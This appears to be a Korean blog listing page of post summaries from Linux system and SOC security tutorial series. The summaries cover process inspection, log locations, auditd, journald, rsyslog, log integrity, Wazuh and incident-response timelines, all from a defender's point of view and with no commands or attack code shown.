41편의 판단 기준표는 "무엇이 이상해 보이는가"를 묻는다. 그런데 관제에서 더 강력한 질문은 "어제와 무엇이 달라졌는가" 다. 정상 상태를 미리 알고 있으면, 수백 개의 프로세스와 포트 중에서 새로 생긴 몇 줄만 보면 된다.

41·42편에서 확인이 필요한 프로세스를 찾았다. 다음 단계에서 가장 흔한 실수는 바로 종료하는 것 이다. 프로세스를 종료하는 순간 /proc/PID 아래의 실행 파일 링크, 환경변수, 메모리 매핑, 열린 파일, 네트워크 연결 정보가 모두 사라진다. 특히 디스크에서…

16편에서 ss -p로 포트와 프로세스를 연결하는 방법을 배웠다. 관제 점검에서는 여기서 한 걸음 더 나아가야 한다. "22번 포트를 sshd가 쓰고 있다"는 사실만으로는 판단이 안 된다. 이 서버에서 그 포트가 승인된 것인지, 그 프로세스가 정상 경로의 프로그램인…

33·34·36편에서 cron과 at의 구조를, 39편에서 자동 실행 경로 전체를 점검하는 방법을 다뤘다. 39편의 방식은 "지금 무엇이 있는가"를 보여 주지만, "원래와 달라진 것은 무엇인가" 는 알려 주지 않는다. 특히 새 파일이 아니라 기존 패키지 파일에 한…

45편에서 예약 작업 파일의 변경을 세 가지 근거로 찾았다. systemd unit은 한 단계 더 복잡하다. 서비스 하나의 최종 설정은 원본 unit + drop-in + enable 링크 가 합쳐진 결과이고(22·28편), 원본은 그대로인데 drop-in 하나만…

관제 대시보드에서 가장 자주 보는 경보 중 하나가 "CPU 사용률 90% 이상"이다. 원인은 대부분 정상 업무(배치 작업, 트래픽 증가)지만, 가끔은 승인되지 않은 계산 작업 이나 장애의 전조다. 중요한 것은 경보가 울렸을 때 몇 분 안에 원인 프로세스와 소속을 특…

지금까지의 증거는 대부분 현재 상태 (/proc, 파일, 설정)였다. 그런데 사고 조사에서 가장 중요한 질문은 과거에 관한 것이다. "누가, 언제, 무엇을 실행했는가?", "cron 파일은 누가 바꿨는가?" 셸 히스토리는 사용자가 지우거나 남기지 않을 수 있고, j…

41~48편에서 판단 기준, 기준선, 증거 수집, 네트워크, 예약 작업, unit 변경, 자원, 감사 로그를 하나씩 다뤘다. 관제 현장에서 이를 매번 손으로 입력하면 사람마다 결과가 다르고, 빠뜨리는 항목이 생긴다. 반복 점검은 스크립트로 표준화 해야 한다.

「서비스 · 프로세스 관리」 시리즈의 마지막 글이다. 50편에 걸쳐 프로세스의 생성과 상태, 시그널과 자원, systemd 서비스와 예약 작업, 로그와 감사, 그리고 관제 판단 기준과 점검 도구를 다뤘다. 이번 글에서는 이 모든 것을 하나의 대응 절차 로 연결한다.

Linux 시스템 보안 기초 · 01/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행 학습 [리눅스 시스템 기초 — 시스템 구조 이해](https://velog.io/@cs_security/series...

Linux 시스템 보안 기초 · 02/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 03/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

DAC를 보완하는 SELinux(MAC)의 컨텍스트·Type Enforcement·모드, AVC 거부 로그 읽기, AppArmor와의 차이와 올바른 문제 해결 순서.

Linux 시스템 보안 기초 · 04/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 05/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 06/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 07/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 08/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 09/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 10/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 11/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

SSH 접속 4단계와 sshd 권한 분리 구조, 실습에서 남긴 실제 sshd 로그(Failed·Invalid·Accepted) 읽기와 sshd_config 보안 설정.

Linux 시스템 보안 기초 · 12/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 13/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 14/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 15/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 16/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 17/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 18/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 19/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 20/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 21/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 22/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 23/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 24/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 25/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 26/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

커널 스레드로 위장한 프로세스를 재현하고 ps·/proc·ss·lsof·sha256sum을 조합해 실제 실행 파일·통신·증적을 밝히는 과정과 증적 우선 대응 순서를 실제 출력으로 정리한 리눅스 시스템 기초 29편.

Linux 시스템 보안 기초 · 27/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 28/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 29/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 30/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 31/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 32/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 33/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 34/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 35/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

firewalld의 zone·service·rich rule 구조, runtime과 permanent 차이, SSH 관리망 제한과 공격 IP 차단, 차단 로그 확인 방법.

Linux 시스템 보안 기초 · 36/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 37/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 38/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 39/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 40/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 30 / 50 · Part 3. Linux 명령어 활용 (마무리) > 실습 환경: Rocky Linux 9 (10.0.0.200) · 22편 실습 파일 구조 포함 > 이전 글: 29. 명령어 조...

Linux 시스템 보안 기초 · 41/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 42/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 43/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 44/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 45/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 46/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 47/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 48/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 49/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Linux 시스템 보안 기초 · 50/50편 > > 이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다. 선행

Event·Log·Alert·IOC·Evidence·Incident의 차이와 4가지 로그 분류(시스템·애플리케이션·보안·감사)를 SOC 관점에서 정리합니다.

User Action → System Call → Kernel → journald/rsyslog/auditd → 파일 → SIEM까지, 이벤트가 로그가 되는 전 과정을 추적합니다.

/var/log 아래 주요 파일·디렉터리의 역할을 Rocky와 Ubuntu로 나눠 정리하고, "없을 수도 있다"는 전제로 읽는 법을 다룹니다.

ls·find·stat으로 로그 파일의 크기·권한·소유자·MAC 타임을 읽고, 조사 시 원본을 건드리지 않는 확인 절차를 정리합니다.

root·adm·wheel·systemd-journal·syslog 등 로그 접근 권한 모델을 Rocky와 Ubuntu로 비교하고, 권한이 곧 무결성인 이유를 설명합니다.

syslog 타임스탬프에 연도·시간대가 없는 문제, UTC와 KST, journal의 마이크로초 타임스탬프까지 사고 분석에서 시간을 다루는 법을 정리합니다.

syslog 한 줄을 timestamp·hostname·process·PID·facility·severity·message로 분해하고, 필드가 보이지 않는 이유와 확인 방법까지 설명합니다.

syslog facility(kern~local7)와 severity(emerg~debug), PRI 계산, rsyslog 선택자와 journalctl -p 필터를 보안관제 관점에서 정리합니다.

인증·프로세스 실행·권한 변경·파일 접근·네트워크·서비스 변경 6가지 행위를 어떤 로그가 기록하는지 매핑하고 MITRE ATT&CK과 연결합니다.

모든 이벤트가 남지는 않는다, 중복 기록, 배포판·설정 차이, 삭제·변조, 시간 동기화 — 로그 해석의 6가지 함정과 확인 방법을 정리합니다.

Rocky Linux 9 기본 rsyslog 규칙을 근거로 messages·secure·cron·maillog·boot.log·audit.log가 어떤 이벤트를 담는지 경로 지도로 정리합니다.

/var/log/messages에 들어가는 것과 빠지는 것(mail·authpriv·cron)을 규칙으로 이해하고, 서비스·커널 이벤트에서 보안 신호를 찾는 법을 다룹니다.

sshd·sudo·su·login·passwd 이벤트 문자열을 패턴별로 정리하고, 실패→성공→권한 상승 흐름을 /var/log/secure에서 추적합니다.

/var/log/cron의 CROND 실행·crontab 변경 기록을 읽고, 공격자의 cron 지속성(T1053.003)을 로그와 파일 두 축으로 확인합니다.

Postfix의 smtpd·qmgr·smtp 흐름을 Queue ID로 추적하고, SASL 인증 실패·릴레이 거부·대량 발송 등 메일 서버 침해 신호를 maillog에서 찾습니다.

boot.log(local7)와 journalctl -b의 차이, 재부팅 시점 확인(last reboot·--list-boots), 부팅 중 실패 서비스와 지속성 흔적 점검을 다룹니다.

Rocky/RHEL 로그 경로를 로그·경로·주요 이벤트·보안 활용·수집 우선순위 표 하나로 정리하고, 한 번에 점검하는 명령 세트를 제공합니다.

SSH 로그인 → sudo → su → passwd → useradd로 이어지는 인증·권한 이벤트를 secure·journal·audit에서 하나의 타임라인으로 연결합니다.

systemctl → systemd → journald → /var/log/messages로 이어지는 서비스 이벤트를 추적하고, 악성 서비스 등록(T1543.002)을 유닛 파일·로그·audit으로 교차 확인합니다.

침해 의심 Rocky 서버에 처음 접속했을 때의 초동조사 순서 — 로깅 상태 확인, 인증·권한·지속성·네트워크 로그 확인, 증거 보존 체크리스트를 정리합니다.

Ubuntu 24.04 기본 rsyslog 규칙(50-default.conf)을 근거로 auth.log·syslog·kern.log·mail.log 경로를 정리하고, cron.log·daemon.log가 기본 비활성인 이유와 journald 전용 환경을 다룹니다.

Ubuntu auth.log에서 sshd·sudo·su·PAM·계정 변경 이벤트를 읽고, RHEL secure와의 차이(auth+authpriv, 권한 0640 adm, 압축 순환)를 반영해 분석합니다.

auth를 제외한 모든 facility가 모이는 Ubuntu syslog에서 cron·서비스·커널·네트워크 이벤트를 분리해 읽고, ISO 8601 타임스탬프 파싱까지 다룹니다.

kern.log·dmesg·journalctl -k의 관계를 정리하고, 커널 모듈 로딩·방화벽 LOG·세그폴트·OOM 등 보안과 연결되는 커널 이벤트를 분석합니다.

Ubuntu 24.04에서 daemon.log가 기본 비활성인 이유와, 데몬·서비스 로그를 syslog·journalctl -u로 찾는 방법, 필요 시 규칙을 켜는 절차와 주의점을 정리합니다.

/var/log/apt/history.log·term.log와 /var/log/dpkg.log로 패키지 설치·삭제·업데이트 흔적을 추적하고, 공격 도구 설치와 Requested-By 필드로 주체를 확인합니다.

Ubuntu/Debian 로그 경로를 한 표로 정리하고 Rocky/RHEL과 나란히 비교, 순환·권한·형식 차이까지 포함한 점검 명령 세트를 제공합니다.

인증·시스템·커널·cron·메일·패키지·감사·웹 로그를 목적별로 Rocky/RHEL과 Ubuntu/Debian 경로·명령·형식 차이로 비교하고, 버전·설정에 따른 예외를 정리합니다.

로그 경로를 외우는 대신 OS → 로깅 시스템 → 서비스 → Journal/File → 이벤트 검색 순서로 찾아가는 배포판 독립적 분석 전략을 정리합니다.

OS·로깅 시스템·주요 로그·SSH 로그 소스·서비스 로그·로테이션 정책을 읽기 전용으로 점검하는 Bash 스크립트를 작성하고 실제 실행 결과를 해석합니다.

journald·rsyslog·auditd의 관계, RHEL secure와 Ubuntu auth.log 등 배포판별 로그 위치, journalctl 필터와 로그 교차 대조.

systemd-journald의 수집 대상, 바이너리 저널 구조, volatile(/run/log/journal)과 persistent(/var/log/journal) 저장 방식, 신뢰 필드와 Seal(FSS)을 보안 관점에서 정리합니다.

journalctl의 -b·-u·--since·-p·-n·-f·-r와 출력 형식(short-iso·verbose·json)을 실제 분석 목적과 함께 정리합니다. 기초 48편의 도구 소개를 SOC 분석 절차로 확장합니다.

필드 매칭(_PID·_UID·_COMM·_SYSTEMD_UNIT), OR/AND 조합, 시간창·우선순위 결합, json+jq 가공까지 SOC 조사용 journalctl 필터 레시피를 정리합니다.

rsyslog의 입력 모듈(imjournal·imuxsock·imklog)→규칙→출력 모듈(omfile·omfwd) 파이프라인과 큐 구조를 이해하고, journald와의 관계를 배포판별로 정리합니다.

/etc/rsyslog.conf와 /etc/rsyslog.d/를 배포판별로 읽고, selector·none·=·!·RainerScript 문법으로 facility/severity 규칙을 해석하며, 규칙 변경을 안전하게 검증하는 방법을 다룹니다.

rsyslog omfwd로 인증·cron·경고 로그를 중앙 로그 서버로 TCP 전송하고 디스크 큐로 유실을 막는 구성을 실제 검증 결과와 함께 다루며, UDP/TCP/RELP/TLS 선택 기준을 정리합니다.

커널 audit 서브시스템·auditd·audit rules·syscall·audit record와 auid/uid/exe/pid 필드의 의미를 정리하고, 왜 auditd가 "누가 했는가"를 증명하는지 설명합니다.

/var/log/audit/audit.log의 레코드 타입(SYSCALL·EXECVE·PATH·CWD·PROCTITLE·USER_*)과 이벤트 묶음 구조를 실제 ausearch/aureport 해석 결과로 분석합니다.

auditd execve 규칙(b64/b32, auid 필터, key)을 설계하고 auid·uid·exe·pid·comm·syscall 필드로 프로세스 실행과 부모-자식 관계를 추적합니다. 노이즈 관리까지 다룹니다.

/etc/passwd·/etc/shadow·/etc/sudoers·/etc/ssh/sshd_config·cron·로그 디렉터리에 auditd 파일 감시 규칙(-w, -p rwxa)을 적용하고, 누가 읽고 바꿨는지를 침해사고 조사와 연결합니다.

logrotate의 rotation·compression·retention 동작과 daily/weekly/rotate/dateext/delaycompress 옵션을 Rocky와 Ubuntu 실제 기본 설정으로 비교하고, audit.log는 auditd가 직접 순환한다는 점을 정리합니다.

파일명 변경·압축·오래된 로그 삭제·tail -f와 -F 차이·copytruncate 유실·사고 시간대 누락 등 로그 로테이션이 보안관제와 조사에 만드는 문제를 실습 결과와 함께 정리합니다.

파일 권한·감사·append-only·checksum·journal Seal·원격 전송·불변 저장소로 이어지는 로그 무결성 방어 계층을 정리하고, SHA-256 매니페스트로 변조를 검출하는 실습을 수행합니다.

공격자가 로그를 지웠다는 가설을 journal·audit·shell history·파일 시각·logrotate·원격 로그로 검증합니다. 로컬과 중앙 사본을 실제로 비교해 삭제 구간을 복원하는 실습 포함.

보존 기간(retention)과 증거 보존을 구분하고, 원본 보존·수집·해시·분석본 분리·접근권한·Chain of Custody를 스크립트로 구현한 실제 수집 결과와 함께 정리합니다.

grep과 정규표현식으로 /var/log/secure의 로그인 실패·성공·권한 상승을 검색하고, 실패 후 성공한 출발지를 찾아 무차별 대입 공격을 판단하는 방법을 실습 로그로 다룬 리눅스 시스템 기초 21편.

head·tail의 옵션과, 로그 로테이션에서 tail -f와 tail -F가 갈리는 이유를 inode 관점으로 재현해 정리하고, 실시간 감시와 사고 구간 추출 방법을 다룬 리눅스 시스템 기초 23편.

sort | uniq -c | sort -rn 패턴을 단계별로 분해하고, 출발지·시간대·응답 코드 집계로 무차별 대입과 스캔을 판별하며 탐지 임계치의 근거를 만드는 방법을 다룬 리눅스 시스템 기초 24편.

cut과 awk로 웹 로그 필드를 해석하고, 연관 배열로 IP별 요청 수·전송량·시도 계정 수를 집계해 스캔과 비밀번호 스프레이를 판별하는 방법을 실습 로그로 다룬 리눅스 시스템 기초 25편.

sed로 로그 구간 추출, IP·계정·비밀번호 마스킹, URL 디코딩, 로그 형식 정규화를 실습하고, 증거 원본에 sed -i를 쓰면 안 되는 이유를 inode 관점에서 정리한 리눅스 시스템 기초 26편.

샘플 secure 로그로 SSH 무차별 대입의 규모·속도·계정을 집계하고 성공 로그인과 이후 행위까지 추적, 탐지 기준과 대응 정리.

journald·rsyslog·auditd → 수집기 → 정규화·파싱 → 상관분석 → Alert → SOC 분석가로 이어지는 SIEM 파이프라인을 wazuh-logtest 실측 결과(pre-decoding·decoding·rule)로 설명합니다.

Wazuh Agent의 localfile(syslog·audit·journald) 설정, Manager의 decoder·rule, audit key 기반 커스텀 룰까지 실제 설치·검증 결과로 Linux 로그 수집 구조를 정리합니다.

인증·감사 로그에서 Source/Destination IP·Username·Process·Command·File·Port를 추출하는 ioc.sh를 작성하고, Hash·Domain처럼 로그에 없는 IOC의 확보 방법과 IOC 기록 형식을 정리합니다.

secure·cron·audit.log를 하나의 KST 시간축으로 정규화·병합하는 timeline.sh를 작성하고, SSH 실패→성공→sudo→실행→파일→cron→외부 연결→로그 변조로 이어지는 공격 흐름을 재구성합니다.

secure와 access_log를 병합해 한 공격자의 타임라인을 재구성하고 판정·대응까지 수행, Linux 초동 대응 체크리스트로 시리즈를 마무리한다.

가상 Rocky Linux 서버 침해 시나리오를 로그 환경 확인부터 SSH·sudo·실행·파일·cron·네트워크·audit 교차검증·IOC·타임라인·Wazuh Alert·초동 대응까지 13단계로 분석하고 Incident Report로 마무리하는 최종 프로젝트입니다.